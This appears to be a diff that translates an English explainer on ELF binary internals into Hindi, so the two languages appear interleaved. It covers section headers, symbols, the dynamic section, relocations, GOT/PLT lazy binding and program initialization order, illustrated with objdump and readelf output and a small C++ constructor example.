ध्यान दें कि RELRO आंशिक या पूर्ण हो सकता है, आंशिक संस्करण **`.plt.got`** सेक्शन की सुरक्षा नहीं करता है, जिसका उपयोग **लेज़ी बाइंडिंग** के लिए किया जाता है और इसे पुस्तकालयों के पते को पहली बार खोजे जाने पर लिखने के लिए **लिखने की अनुमतियाँ** की आवश्यकता होती है।
|
||||
|
||||
### TLS
|
||||
|
||||
Defines a table of TLS entries, which stores info about thread-local variables.
|
||||
TLS प्रविष्टियों की एक तालिका को परिभाषित करता है, जो थ्रेड-स्थानीय चर के बारे में जानकारी संग्रहीत करता है।
|
||||
|
||||
## Section Headers
|
||||
|
||||
Section headers gives a more detailed view of the ELF binary
|
||||
## सेक्शन हेडर
|
||||
|
||||
सेक्शन हेडर ELF बाइनरी का अधिक विस्तृत दृश्य प्रदान करते हैं।
|
||||
```
|
||||
objdump lnstat -h
|
||||
|
||||
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
|
||||
|
||||
Sections:
|
||||
Idx Name Size VMA LMA File off Algn
|
||||
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
|
||||
ALLOC
|
||||
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
|
||||
CONTENTS, READONLY
|
||||
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
|
||||
CONTENTS, READONLY
|
||||
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
|
||||
ALLOC
|
||||
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
|
||||
CONTENTS, READONLY
|
||||
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
|
||||
CONTENTS, READONLY
|
||||
```
|
||||
यह स्थान, ऑफ़सेट, अनुमतियों को भी इंगित करता है लेकिन यह भी **डेटा के प्रकार** को दर्शाता है जो इसके अनुभाग में है।
|
||||
|
||||
It also indicates the location, offset, permissions but also the **type of data** it section has.
|
||||
### मेटा अनुभाग
|
||||
|
||||
### Meta Sections
|
||||
- **स्ट्रिंग तालिका**: इसमें ELF फ़ाइल द्वारा आवश्यक सभी स्ट्रिंग्स होती हैं (लेकिन प्रोग्राम द्वारा वास्तव में उपयोग की जाने वाली नहीं)। उदाहरण के लिए, इसमें अनुभागों के नाम जैसे `.text` या `.data` होते हैं। और यदि `.text` स्ट्रिंग तालिका में ऑफ़सेट 45 पर है, तो यह **नाम** फ़ील्ड में संख्या **45** का उपयोग करेगा।
|
||||
- स्ट्रिंग तालिका का स्थान खोजने के लिए, ELF में स्ट्रिंग तालिका के लिए एक पॉइंटर होता है।
|
||||
- **सिंबल तालिका**: इसमें प्रतीकों के बारे में जानकारी होती है जैसे नाम (स्ट्रिंग तालिका में ऑफ़सेट), पता, आकार और प्रतीक के बारे में अधिक मेटाडेटा।
|
||||
|
||||
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
|
||||
- In order to find where the string table is, the ELF contains a pointer to the string table.
|
||||
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
|
||||
### मुख्य अनुभाग
|
||||
|
||||
### Main Sections
|
||||
- **`.text`**: प्रोग्राम को चलाने के लिए निर्देश।
|
||||
- **`.data`**: प्रोग्राम में एक परिभाषित मान के साथ वैश्विक चर।
|
||||
- **`.bss`**: वैश्विक चर जो अनियोजित छोड़ दिए गए हैं (या शून्य पर प्रारंभिक)। यहाँ के चर स्वचालित रूप से शून्य पर प्रारंभिक होते हैं, इसलिए बाइनरी में बेकार शून्य जोड़ने से रोका जाता है।
|
||||
- **`.rodata`**: स्थायी वैश्विक चर (पढ़ने के लिए केवल अनुभाग)।
|
||||
- **`.tdata`** और **`.tbss`**: जैसे .data और .bss जब थ्रेड-स्थानीय चर का उपयोग किया जाता है (`__thread_local` C++ में या `__thread` C में)।
|
||||
- **`.dynamic`**: नीचे देखें।
|
||||
|
||||
- **`.text`**: The instruction of the program to run.
|
||||
- **`.data`**: Global variables with a defined value in the program.
|
||||
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
|
||||
- **`.rodata`**: Constant global variables (read-only section).
|
||||
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
|
||||
- **`.dynamic`**: See below.
|
||||
|
||||
## Symbols
|
||||
|
||||
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
|
||||
## प्रतीक
|
||||
|
||||
प्रतीक प्रोग्राम में एक नामित स्थान है जो एक फ़ंक्शन, एक वैश्विक डेटा ऑब्जेक्ट, थ्रेड-स्थानीय चर हो सकता है...
|
||||
```
|
||||
readelf -s lnstat
|
||||
|
||||
Symbol table '.dynsym' contains 49 entries:
|
||||
Num: Value Size Type Bind Vis Ndx Name
|
||||
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
|
||||
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
|
||||
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
|
||||
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
|
||||
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
|
||||
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
|
||||
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
|
||||
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
|
||||
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
|
||||
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
|
||||
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
|
||||
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
|
||||
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
|
||||
[...]
|
||||
Num: Value Size Type Bind Vis Ndx Name
|
||||
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
|
||||
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
|
||||
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
|
||||
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
|
||||
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
|
||||
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
|
||||
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
|
||||
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
|
||||
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
|
||||
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
|
||||
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
|
||||
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
|
||||
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
|
||||
[...]
|
||||
```
|
||||
प्रत्येक प्रतीक प्रविष्टि में शामिल हैं:
|
||||
|
||||
Each symbol entry contains:
|
||||
|
||||
- **Name**
|
||||
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
|
||||
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
|
||||
- **Section** index where it's located
|
||||
- **Value** (address sin memory)
|
||||
- **Size**
|
||||
|
||||
## Dynamic Section
|
||||
- **नाम**
|
||||
- **बाइंडिंग विशेषताएँ** (कमजोर, स्थानीय या वैश्विक): एक स्थानीय प्रतीक केवल कार्यक्रम द्वारा ही पहुँचा जा सकता है जबकि वैश्विक प्रतीक कार्यक्रम के बाहर साझा किए जाते हैं। एक कमजोर वस्तु उदाहरण के लिए एक फ़ंक्शन है जिसे किसी अन्य द्वारा ओवरराइड किया जा सकता है।
|
||||
- **प्रकार**: NOTYPE (कोई प्रकार निर्दिष्ट नहीं), OBJECT (वैश्विक डेटा वेरिएबल), FUNC (फ़ंक्शन), SECTION (सेक्शन), FILE (डीबगर्स के लिए स्रोत-कोड फ़ाइल), TLS (थ्रेड-स्थानीय वेरिएबल), GNU_IFUNC (स्थानांतरण के लिए अप्रत्यक्ष फ़ंक्शन)
|
||||
- **सेक्शन** अनुक्रमांक जहाँ यह स्थित है
|
||||
- **मान** (स्मृति में पता)
|
||||
- **आकार**
|
||||
|
||||
## गतिशील अनुभाग
|
||||
```
|
||||
readelf -d lnstat
|
||||
|
||||
Dynamic section at offset 0xfc58 contains 28 entries:
|
||||
Tag Type Name/Value
|
||||
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
|
||||
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
|
||||
0x000000000000000c (INIT) 0x1088
|
||||
0x000000000000000d (FINI) 0x2f74
|
||||
0x0000000000000019 (INIT_ARRAY) 0x1fc48
|
||||
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
|
||||
0x000000000000001a (FINI_ARRAY) 0x1fc50
|
||||
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
|
||||
0x000000006ffffef5 (GNU_HASH) 0x338
|
||||
0x0000000000000005 (STRTAB) 0x7f0
|
||||
0x0000000000000006 (SYMTAB) 0x358
|
||||
0x000000000000000a (STRSZ) 510 (bytes)
|
||||
0x000000000000000b (SYMENT) 24 (bytes)
|
||||
0x0000000000000015 (DEBUG) 0x0
|
||||
0x0000000000000003 (PLTGOT) 0x1fe58
|
||||
0x0000000000000002 (PLTRELSZ) 960 (bytes)
|
||||
0x0000000000000014 (PLTREL) RELA
|
||||
0x0000000000000017 (JMPREL) 0xcc8
|
||||
0x0000000000000007 (RELA) 0xaa0
|
||||
0x0000000000000008 (RELASZ) 552 (bytes)
|
||||
0x0000000000000009 (RELAENT) 24 (bytes)
|
||||
0x000000000000001e (FLAGS) BIND_NOW
|
||||
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
|
||||
0x000000006ffffffe (VERNEED) 0xa50
|
||||
0x000000006fffffff (VERNEEDNUM) 2
|
||||
0x000000006ffffff0 (VERSYM) 0x9ee
|
||||
0x000000006ffffff9 (RELACOUNT) 15
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
Tag Type Name/Value
|
||||
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
|
||||
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
|
||||
0x000000000000000c (INIT) 0x1088
|
||||
0x000000000000000d (FINI) 0x2f74
|
||||
0x0000000000000019 (INIT_ARRAY) 0x1fc48
|
||||
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
|
||||
0x000000000000001a (FINI_ARRAY) 0x1fc50
|
||||
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
|
||||
0x000000006ffffef5 (GNU_HASH) 0x338
|
||||
0x0000000000000005 (STRTAB) 0x7f0
|
||||
0x0000000000000006 (SYMTAB) 0x358
|
||||
0x000000000000000a (STRSZ) 510 (bytes)
|
||||
0x000000000000000b (SYMENT) 24 (bytes)
|
||||
0x0000000000000015 (DEBUG) 0x0
|
||||
0x0000000000000003 (PLTGOT) 0x1fe58
|
||||
0x0000000000000002 (PLTRELSZ) 960 (bytes)
|
||||
0x0000000000000014 (PLTREL) RELA
|
||||
0x0000000000000017 (JMPREL) 0xcc8
|
||||
0x0000000000000007 (RELA) 0xaa0
|
||||
0x0000000000000008 (RELASZ) 552 (bytes)
|
||||
0x0000000000000009 (RELAENT) 24 (bytes)
|
||||
0x000000000000001e (FLAGS) BIND_NOW
|
||||
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
|
||||
0x000000006ffffffe (VERNEED) 0xa50
|
||||
0x000000006fffffff (VERNEEDNUM) 2
|
||||
0x000000006ffffff0 (VERSYM) 0x9ee
|
||||
0x000000006ffffff9 (RELACOUNT) 15
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
```
|
||||
NEEDED निर्देशिका यह संकेत करती है कि प्रोग्राम को जारी रखने के लिए **उल्लेखित पुस्तकालय को लोड करने की आवश्यकता है**। NEEDED निर्देशिका तब पूरी होती है जब साझा **पुस्तकालय पूरी तरह से कार्यात्मक और उपयोग के लिए तैयार है**।
|
||||
|
||||
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
|
||||
|
||||
## Relocations
|
||||
|
||||
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
|
||||
## पुनर्स्थापनाएँ
|
||||
|
||||
लोडर को लोड करने के बाद निर्भरताओं को भी पुनर्स्थापित करना चाहिए। इन पुनर्स्थापनों को REL या RELA प्रारूपों में पुनर्स्थापन तालिका में संकेतित किया गया है और पुनर्स्थापनों की संख्या गतिशील अनुभागों RELSZ या RELASZ में दी गई है।
|
||||
```
|
||||
readelf -r lnstat
|
||||
|
||||
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
|
||||
Offset Info Type Sym. Value Sym. Name + Addend
|
||||
Offset Info Type Sym. Value Sym. Name + Addend
|
||||
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
|
||||
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
|
||||
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
|
||||
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
|
||||
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
|
||||
|
||||
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
|
||||
Offset Info Type Sym. Value Sym. Name + Addend
|
||||
Offset Info Type Sym. Value Sym. Name + Addend
|
||||
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
|
||||
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
|
||||
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
|
||||
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
|
||||
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
|
||||
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
|
||||
```
|
||||
### स्थिर पुनर्स्थापनाएँ
|
||||
|
||||
### Static Relocations
|
||||
यदि **कार्यक्रम एक अलग स्थान पर लोड होता है** जो पसंदीदा पते (आमतौर पर 0x400000) से भिन्न है क्योंकि पता पहले से उपयोग में है या **ASLR** या किसी अन्य कारण से, तो एक स्थिर पुनर्स्थापनाएँ **पॉइंटर्स को सही करती हैं** जिनके मानों ने बाइनरी के पसंदीदा पते पर लोड होने की अपेक्षा की थी।
|
||||
|
||||
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
|
||||
उदाहरण के लिए, `R_AARCH64_RELATIV` प्रकार के किसी भी अनुभाग को पुनर्स्थापन बायस के साथ पते को संशोधित करना चाहिए और जोड़ने वाले मान को जोड़ना चाहिए।
|
||||
|
||||
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
|
||||
### गतिशील पुनर्स्थापनाएँ और GOT
|
||||
|
||||
### Dynamic Relocations and GOT
|
||||
पुनर्स्थापन एक बाहरी प्रतीक (जैसे किसी निर्भरता से एक फ़ंक्शन) को भी संदर्भित कर सकता है। जैसे कि libC से malloc फ़ंक्शन। फिर, लोडर जब libC को एक पते पर लोड करता है, तो यह जांचता है कि malloc फ़ंक्शन कहाँ लोड होता है, यह पता GOT (ग्लोबल ऑफ़सेट टेबल) तालिका में लिखता है (जो पुनर्स्थापन तालिका में निर्दिष्ट है) जहाँ malloc का पता निर्दिष्ट किया जाना चाहिए।
|
||||
|
||||
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
|
||||
### प्रक्रिया लिंक टेबल
|
||||
|
||||
### Procedure Linkage Table
|
||||
PLT अनुभाग आलसी बाइंडिंग करने की अनुमति देता है, जिसका अर्थ है कि किसी फ़ंक्शन के स्थान का समाधान पहली बार जब इसे एक्सेस किया जाता है, तब किया जाएगा।
|
||||
|
||||
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
|
||||
तो जब एक कार्यक्रम malloc को कॉल करता है, तो यह वास्तव में PLT में `malloc` के संबंधित स्थान को कॉल करता है (`malloc@plt`)। जब इसे पहली बार कॉल किया जाता है, तो यह `malloc` का पता हल करता है और इसे संग्रहीत करता है ताकि अगली बार जब `malloc` को कॉल किया जाए, तो उस पते का उपयोग PLT कोड के बजाय किया जाए।
|
||||
|
||||
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
|
||||
|
||||
## Program Initialization
|
||||
|
||||
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
|
||||
## कार्यक्रम प्रारंभिककरण
|
||||
|
||||
कार्यक्रम के लोड होने के बाद इसे चलाने का समय होता है। हालाँकि, जो पहला कोड चलाया जाता है वह हमेशा `main` फ़ंक्शन नहीं होता है। इसका कारण यह है कि उदाहरण के लिए C++ में यदि एक **वैश्विक चर एक वर्ग का ऑब्जेक्ट है**, तो इस ऑब्जेक्ट को **main चलने से पहले** **प्रारंभिककरण** करना चाहिए, जैसे कि:
|
||||
```cpp
|
||||
#include <stdio.h>
|
||||
// g++ autoinit.cpp -o autoinit
|
||||
class AutoInit {
|
||||
public:
|
||||
AutoInit() {
|
||||
printf("Hello AutoInit!\n");
|
||||
}
|
||||
~AutoInit() {
|
||||
printf("Goodbye AutoInit!\n");
|
||||
}
|
||||
public:
|
||||
AutoInit() {
|
||||
printf("Hello AutoInit!\n");
|
||||
}
|
||||
~AutoInit() {
|
||||
printf("Goodbye AutoInit!\n");
|
||||
}
|
||||
};
|
||||
|
||||
AutoInit autoInit;
|
||||
|
||||
int main() {
|
||||
printf("Main\n");
|
||||
return 0;
|
||||
printf("Main\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
ध्यान दें कि ये वैश्विक चर `.data` या `.bss` में स्थित हैं, लेकिन सूचियों `__CTOR_LIST__` और `__DTOR_LIST__` में प्रारंभ और नष्ट करने के लिए वस्तुएं संग्रहीत की जाती हैं ताकि उन्हें ट्रैक किया जा सके।
|
||||
|
||||
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
|
||||
|
||||
From C code it's possible to obtain the same result using the GNU extensions :
|
||||
|
||||
C कोड से समान परिणाम प्राप्त करना संभव है GNU एक्सटेंशन का उपयोग करके:
|
||||
```c
|
||||
__attributte__((constructor)) //Add a constructor to execute before
|
||||
__attributte__((destructor)) //Add to the destructor list
|
||||
```
|
||||
एक कंपाइलर के दृष्टिकोण से, `main` फ़ंक्शन के निष्पादन से पहले और बाद में इन क्रियाओं को निष्पादित करने के लिए, एक `init` फ़ंक्शन और एक `fini` फ़ंक्शन बनाना संभव है, जिन्हें गतिशील अनुभाग में **`INIT`** और **`FIN`** के रूप में संदर्भित किया जाएगा। और इन्हें ELF के `init` और `fini` अनुभागों में रखा गया है।
|
||||
|
||||
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
|
||||
दूसरा विकल्प, जैसा कि उल्लेख किया गया है, **`INIT_ARRAY`** और **`FINI_ARRAY`** प्रविष्टियों में **`__CTOR_LIST__`** और **`__DTOR_LIST__`** सूचियों को संदर्भित करना है और इनकी लंबाई **`INIT_ARRAYSZ`** और **`FINI_ARRAYSZ`** द्वारा इंगित की जाती है। प्रत्येक प्रविष्टि एक फ़ंक्शन पॉइंटर है जिसे बिना तर्कों के कॉल किया जाएगा।
|
||||
|
||||
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
|
||||
|
||||
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
|
||||
इसके अलावा, एक **`PREINIT_ARRAY`** भी हो सकता है जिसमें **pointers** होंगे जो **`INIT_ARRAY`** पॉइंटर्स से **पहले** निष्पादित किए जाएंगे।
|
||||
|
||||
### Initialization Order
|
||||
|
||||
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
|
||||
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
|
||||
3. **`PREINIT_ARRAY`** functions are executed.
|
||||
4. **`INIT_ARRAY`** functions are executed.
|
||||
5. If there is a **`INIT`** entry it's called.
|
||||
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
|
||||
1. प्रोग्राम को मेमोरी में लोड किया जाता है, स्थिर वैश्विक चर **`.data`** में प्रारंभिक किया जाता है और अनियोजित वाले **`.bss`** में शून्य किए जाते हैं।
|
||||
2. प्रोग्राम या पुस्तकालयों के सभी **dependencies** **initialized** होते हैं और **dynamic linking** निष्पादित होता है।
|
||||
3. **`PREINIT_ARRAY`** फ़ंक्शन निष्पादित होते हैं।
|
||||
4. **`INIT_ARRAY`** फ़ंक्शन निष्पादित होते हैं।
|
||||
5. यदि एक **`INIT`** प्रविष्टि है, तो इसे कॉल किया जाता है।
|
||||
